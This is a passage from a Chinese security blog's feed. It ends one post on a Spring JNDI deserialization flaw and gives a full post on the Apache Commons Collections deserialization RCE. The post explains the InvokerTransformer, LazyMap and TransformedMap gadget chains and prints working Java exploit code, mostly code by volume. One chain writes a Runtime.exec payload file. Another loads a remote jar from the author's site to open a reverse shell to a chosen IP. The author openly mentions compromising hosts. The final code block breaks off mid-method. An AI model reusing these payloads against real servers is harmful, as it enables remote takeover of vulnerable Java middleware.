<h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>通过Spring官方给作者的邮件中，可以看出官方将这个锅丢给了中间件反序列接口的防范上或者可以进行反序列的方法上。如果觉得有必要修复漏洞的小伙伴，可以重写JtaTransactionManager类中的readObject方法禁用相关功能就行了。</p>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>[1] :<a href="http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection" target="_blank" rel="noopener">http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection</a><br>[2] :<a href="http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce" target="_blank" rel="noopener">http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce</a><br>[3] :<a href="https://github.com/zerothoughts/spring-jndi" target="_blank" rel="noopener">https://github.com/zerothoughts/spring-jndi</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;11月初爆发的JAVA反序列漏洞已经过去几个月了，各大安全研究人员对该漏洞的利用技巧也是五花八门，JAVA反序列化漏洞的爆发引起了很多漏洞研究者的注意，国外安全研究人员（&lt;strong&gt;&lt;strong&gt;&lt;a href=&quot;http://zerotho
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Deserialize" scheme="https://www.iswin.org/tags/Deserialize/"/>
    
  </entry>
  
  <entry>
    <title>JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用</title>
    <link href="https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/"/>
    <id>https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/</id>
    <published>2015-11-13T06:13:44.000Z</published>
    <updated>2017-01-23T17:24:04.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>本文主要讨论Apache CommonsCollections组件的Deserialize功能存在的问题，该问题其实在2015年1月份在国外已经被发现，直到在今年11月初才被国内相关网站发现并且在安全圈子里面迅速升温，不少安全公司已经采用批量化的程序对互联网上受影响的网站进行检测，由于CommonsCollections为Apache开源项目的重要组件，所以该组建的使用量非常大，这次主要是JBOSS，weblogic等中间件受影响，通过对漏洞的POC进行修改，可以直接控制受影响的服务器。</p>
</blockquote>
<h2 id="漏洞原理分析"><a href="#漏洞原理分析" class="headerlink" title="漏洞原理分析"></a>漏洞原理分析</h2><p>该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法，并且该方法在相关对象反序列化时并未进行任何校验，新版本的修复方案对相关反射调用进行了限制。</p>
<p>问题函数主要出现在org.apache.commons.collections.Transformer接口上，我们可以看到该接口值定义了一个方法<br><img src="/attach/transformer_interface.png" height="320" width="820"><br>我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object，我们来看看该接口有哪些实现类<br><img src="/attach/implements-transformer.png" height="320"><br>这些transformer的实现类中，我们一眼就看到了这里的<strong><em>InvokerTransformer</em></strong>,搞JAVA的对invoke这个词应该比较敏感,我们跟进这个实现类去看看具体的实现，<br><img src="/attach/invokeTransformer.png" height="320"><br>我们可以看到该该方法中采用了反射的方法进行函数调用，Input参数为要进行反射的对象(反射相关的知识就不在这赘述了)，iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型，iArgs为对应方法的参数，在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[] args)</span> </span>&#123;</span><br><span class="line">       <span class="keyword">super</span>();</span><br><span class="line">       iMethodName = methodName;</span><br><span class="line">       iParamTypes = paramTypes;</span><br><span class="line">       iArgs = args;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure>
<p>那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法，通过eclipse我们找到了以下类调用了该方法<br><img src="/attach/transformermap.png" height="320"><br>这里我们可以看到有两个比较明显的类调用了transform方法，分别是</p>
<ul>
<li>LazyMap</li>
<li>TransformedMap</li>
</ul>
<h3 id="LazyMap构造POC"><a href="#LazyMap构造POC" class="headerlink" title="LazyMap构造POC"></a>LazyMap构造POC</h3><p>这里对于网上给出的POC使用的是LazyMap来进行构造，其实这里TransformedMap构造更为简单，因为触发条件比较简单，后面会具体分析。<br>这里以网上给出的<a href="https://github.com/frohoff/ysoserial/" target="_blank" rel="noopener">POC</a>来进行分析，毕竟大家都在用么。</p>
<p>这里LazyMap实现了Map接口，其中的get(Object)方法调用了transform方法，跟进函数进去</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> Object <span class="title">get</span><span class="params">(Object key)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// create value for key if key is not currently in the map</span></span><br><span class="line">    <span class="keyword">if</span> (map.containsKey(key) == <span class="keyword">false</span>) &#123;</span><br><span class="line">        Object value = factory.transform(key);</span><br><span class="line">        map.put(key, value);</span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> map.get(key);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>这里可以看到，在调用transform方法之前会先判断当前Map中是否已经有该key，如果没有最终会由这里的factory.transform进行处理，我吗继续跟踪下facory这个变量看看该变量是再哪被初始化的，</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title">decorate</span><span class="params">(Map map, Transformer factory)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> LazyMap(map, factory);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>这里的decorate方法会对factory进行初始化，同时实例化一个LazyMap，到这里就比较有意思了。</p>
<p>为了能成功调用transform方法，我们找到了LazyMap方法，发现在get()方法中调用了该方法，所以说现在漏洞利用的核心条件就是去寻找一个类，在对象进行反序列化时会调用我们精心构造对象的get(Object)方法，老外在这里找到了一个方法的确能在反序列化时触发LazyMap的get(Object)方法，老外的这种精神必须佩服！</p>
<p>现在重点现在转移到<strong><em>sun.reflect.annotation.AnnotationInvocationHandler</em></strong>类上，我们看看在该类进行反序列化的时候究竟是如何触发漏洞代码的。</p>
<p>跟进<strong><em>sun.reflect.annotation.AnnotationInvocationHandler</em></strong>的源代码<br><img src="/attach/AnnotationInvocationHandler.png" height="320"></p>
<p>在反序列的时候程序首先会调用调用readObject这个方法,我们首先看看这个readObject方法<br><img src="/attach/readObject.png" height="320"><br>这里的memberValues是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量，也就是我们构造的lazymap对象，这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞，但是可惜的是该方法里面并没有这个方法。</p>
<p>到这里，在老外给的POC里面，有一个Proxy.newInstance(xx)的方法，很多人可能不太明白老外为什么这里需要用到<strong><em>动态代理</em></strong>，这里也就是POC的精华之处了，我们在readObject方法中并未找到lazymap的get方法，但是我们继续在<strong><em>sun.reflect.annotation.AnnotationInvocationHandler</em></strong>类里面找看看那个方法调用了memberValues.get(Object)方法，很幸运我们发现在invoke方法中memberValues.get(Object)被调用<br><img src="/attach/invoke-poc.png" height="320"><br>这里大家应该能明白老外为什么要用动态代理来进行构造POC了，因为AnnotationInvocationHandler默认实现了InvocationHandler接口，在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后，当对象iswin在进行对象调用时，那么就会调用InvocationHandler.invoke(xx)方法，所以POC的执行流程为map.xx-&gt;proxy(Map).invoke-&gt;lazymap.get(xx) 就会触发transform方法从而执行恶意代码。</p>
<p>这里的ChainedTransformer为链式的Transformer，会挨个执行我们定义的Transformer，这里比较简单，有兴趣自己去看源码就知道。</p>
<h3 id="TransformedMap构造POC"><a href="#TransformedMap构造POC" class="headerlink" title="TransformedMap构造POC"></a>TransformedMap构造POC</h3><p>这里如果使用TransformedMap来进行POC的构造就非常简单了，我们跟进TransformedMap的checkSetValue方法</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> Object <span class="title">checkSetValue</span><span class="params">(Object value)</span> </span>&#123;</span><br><span class="line">       <span class="keyword">return</span> valueTransformer.transform(value);</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure>
<p>我们继续看checkSetValue被那个函数所调用，在MapEntry类中的setValue恰好调用了checkSetValue，这里直接触发了tranform函数，用TransformedMap来构造POC为什么说比LazyMap好呢，那是因为这里触发的条件比较简单，我们可以在<strong><em>sun.reflect.annotation.AnnotationInvocationHandler</em></strong>中的readObject(xxx)<br><img src="/attach/readObject.png" height="320"><br>这里我们明显可以看到memberValue.setValue(xxx)方法，所以我们只需要构造一个不为空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞，需要注意,这里的触发的类为AnnotationInvocationHandler，在触发漏洞事会对type进行检查，所以在transformer的时候我们要讲type设置为annotation类型。</p>
<p>所以这里POC执行流程为TransformedMap-&gt;AnnotationInvocationHandler.readObject()-&gt;setValue()-&gt;checkSetValue()漏洞成功触发。</p>
<p>利用代码</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Map.Entry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@ClassName</span>: Main.java</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: TODO</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> iswin</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@email</span> admin@iswin.org</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Date</span> 2015年11月8日 下午12:12:13</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title">Reverse_Payload</span><span class="params">(String execArgs)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">final</span> Transformer[] transforms = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123; String.class,</span><br><span class="line">						Class[].class &#125;, <span class="keyword">new</span> Object[] &#123; <span class="string">"getRuntime"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[<span class="number">0</span>] &#125;),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123; Object.class,</span><br><span class="line">						Object[].class &#125;, <span class="keyword">new</span> Object[] &#123; <span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>] &#125;),</span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[] &#123; String.class &#125;,</span><br><span class="line">						execArgs), <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;;</span><br><span class="line"></span><br><span class="line">		Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(transforms);</span><br><span class="line">		Map innermap = <span class="keyword">new</span> HashMap();</span><br><span class="line">		innermap.put(<span class="string">"value"</span>, <span class="string">"value"</span>);</span><br><span class="line">		Map outmap = TransformedMap.decorate(innermap, <span class="keyword">null</span>, transformerChain);</span><br><span class="line"></span><br><span class="line">		Class cls = Class</span><br><span class="line">				.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line">		Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">		ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		Object instance = ctor.newInstance(Retention.class, outmap);</span><br><span class="line">		<span class="keyword">return</span> instance;</span><br><span class="line"></span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		GeneratePayload(Reverse_Payload(<span class="string">"cmd"</span>),</span><br><span class="line">				<span class="string">"/Users/iswin/Downloads/test.bin"</span>);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">GeneratePayload</span><span class="params">(Object instance, String file)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		File f = <span class="keyword">new</span> File(file);</span><br><span class="line">		ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(f));</span><br><span class="line">		out.writeObject(instance);</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">payloadTest</span><span class="params">(String file)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="comment">// 这里为测试上面的tansform是否会触发payload</span></span><br><span class="line">		<span class="comment">// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();</span></span><br><span class="line">		<span class="comment">// onlyElement.setValue("foobar");</span></span><br><span class="line">		</span><br><span class="line">		ObjectInputStream in = <span class="keyword">new</span> ObjectInputStream(<span class="keyword">new</span> FileInputStream(file));</span><br><span class="line">		in.readObject();</span><br><span class="line">		in.close();</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="漏洞高级利用"><a href="#漏洞高级利用" class="headerlink" title="漏洞高级利用"></a>漏洞高级利用</h2><p>现在网上给出的poc只能执行命令或者写个文件之类的，本文将介绍一种通用的漏洞利用方法，只要服务器可以出网，就可以进行任何操作，例如反弹个shell，写文件？当然还有抓鸡等。</p>
<p>漏洞原理什么的在上面已经分析过了，网上的POC都是调用RunTime.getRuntime().exec(“cmdxx”),很多人在问这个漏洞执行命令后能不能回显，对于回显，其实就是想办法拿到容器的response，但是非常遗憾，我在对jboss进行测试时并未找到一种方式可以获取当当前请求的response，其他容器就不清楚了，理论上只要找到一个方法可以获取到当前请求的response，那么回显就搞定了，期待有大牛来实现。</p>
<p>到目前为止，我们只能通过反射的方式来进行函数调用，如果要实现复杂的功能，估计构造POC会把人折磨死，所以是不是有一种通用的方法去加载我们的payload呢。</p>
<p>在java中有个URLClassLoader类，关于该类的作用大家自己去百度，简单说就是远程加载class到本地jvm中，说到这，我想稍微明白一点的就知道怎么做了，这里不废话了，文章写得累死了，直接给出POC吧，至于具体怎么利用，如何实现抓鸡等，明白人自然就明白。</p>
<h3 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a>反弹shell</h3><p>反弹shell的原理，通过classload从我博客远程加载一个<a href="http://www.isiwn.org/attach/iswin.jar文件，然后进行实例化，博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。" target="_blank" rel="noopener">http://www.isiwn.org/attach/iswin.jar文件，然后进行实例化，博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。</a></p>
<p>直接上代码</p>
<h4 id="LazyMap的实现方式"><a href="#LazyMap的实现方式" class="headerlink" title="LazyMap的实现方式"></a>LazyMap的实现方式</h4><p>我已经对网上的poc进行了修改，修改的更加容易阅读，方便大家学习。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> ysoserial.payloads;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CommonsCollections1</span></span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> InvocationHandler <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String ip)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="comment">// inert chain for setup</span></span><br><span class="line">		<span class="keyword">final</span> Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(</span><br><span class="line">				<span class="keyword">new</span> Transformer[] &#123; <span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;);</span><br><span class="line">		<span class="comment">// real chain for after setup</span></span><br><span class="line">		<span class="keyword">final</span> Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(java.net.URLClassLoader.class),</span><br><span class="line">				<span class="comment">// getConstructor class.class classname</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getConstructor"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Class[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Class[] &#123; java.net.URL[].class &#125; &#125;),</span><br><span class="line">				<span class="comment">// newinstance string http://www.iswin.org/attach/iswin.jar</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(</span><br><span class="line">						<span class="string">"newInstance"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Object[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> java.net.URL[] &#123; <span class="keyword">new</span> java.net.URL(</span><br><span class="line">								<span class="string">"http://www.iswin.org/attach/iswin.jar"</span>) &#125; &#125; &#125;),</span><br><span class="line">				<span class="comment">// loadClass String.class R</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"loadClass"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; String.class &#125;, <span class="keyword">new</span> Object[] &#123; <span class="string">"R"</span> &#125;),</span><br><span class="line">				<span class="comment">// set the target reverse ip and port</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"getConstructor"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Class[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> Class[] &#123; String.class &#125; &#125;),</span><br><span class="line">				<span class="comment">// invoke</span></span><br><span class="line">				<span class="keyword">new</span> InvokerTransformer(<span class="string">"newInstance"</span>,</span><br><span class="line">						<span class="keyword">new</span> Class[] &#123; Object[].class &#125;,</span><br><span class="line">						<span class="keyword">new</span> Object[] &#123; <span class="keyword">new</span> String[] &#123; ip &#125; &#125;),</span><br><span class="line">				<span class="keyword">new</span> ConstantTransformer(<span class="number">1</span>) &#125;;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Map innerMap = <span class="keyword">new</span> HashMap();</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Map lazyMap = LazyMap.decorate(innerMap, transformerChain);</span><br><span class="line"></span><br><span class="line">		<span class="comment">//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler</span></span><br><span class="line">		InvocationHandler invo = (InvocationHandler) getFirstCtor(</span><br><span class="line">				<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>)</span><br><span class="line">				.newInstance(Retention.class, lazyMap);</span><br><span class="line">		<span class="comment">//generate object which implements specifiy interface </span></span><br><span class="line">		<span class="keyword">final</span> Map mapProxy = Map.class.cast(Proxy.newProxyInstance(<span class="keyword">this</span></span><br><span class="line">				.getClass().getClassLoader(), <span class="keyword">new</span> Class[] &#123; Map.class &#125;, invo));</span><br><span class="line">		</span><br><span class="line">		<span class="keyword">final</span> InvocationHandler handler = (InvocationHandler) getFirstCtor(</span><br><span class="line">				<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>)</span><br><span class="line">				.newInstance(Retention.class, mapProxy);</span><br><span class="line"></span><br><span class="line">		setFieldValue(transformerChain, <span class="string">"iTransformers"</span>, transformers);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> handler;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> Constructor&lt;?&gt; getFirstCtor(<span class="keyword">final</span> String name)</span><br><span class="line">			<span class="keyword">throws</span> Exception &#123;</span><br><span class="line">		<span class="keyword">final</span> Constructor&lt;?&gt; ctor = Class.forName(name)</span><br><span class="line">				.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">		ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		<span class="keyword">return</span> ctor;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title">getField</span><span class="params">(<span class="keyword">final</span> Class&lt;?&gt; clazz, <span class="keyword">final</span> String fieldName)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		Field field = clazz.getDeclaredField(fieldName);</span><br><span class="line">		<span class="keyword">if</span> (field == <span class="keyword">null</span> &amp;&amp; clazz.getSuperclass() != <span class="keyword">null</span>) &#123;</span><br><span class="line">			field = getField(clazz.getSuperclass(), fieldName);</span><br><span class="line">		&#125;</span><br><span class="line">		field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">		<span class="keyword">return</span> field;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setFieldValue</span><span class="params">(<span class="keyword">final</span> Object obj, <span class="keyword">final</span> String fieldName,</span></span></span><br><span class="line"><span class="function"><span class="params">			<span class="keyword">final</span> Object value)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">final</span> Field field = getField(obj.getClass(), fieldName);</span><br><span class="line">		field.set(obj, value);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">final</span> Object objBefore = 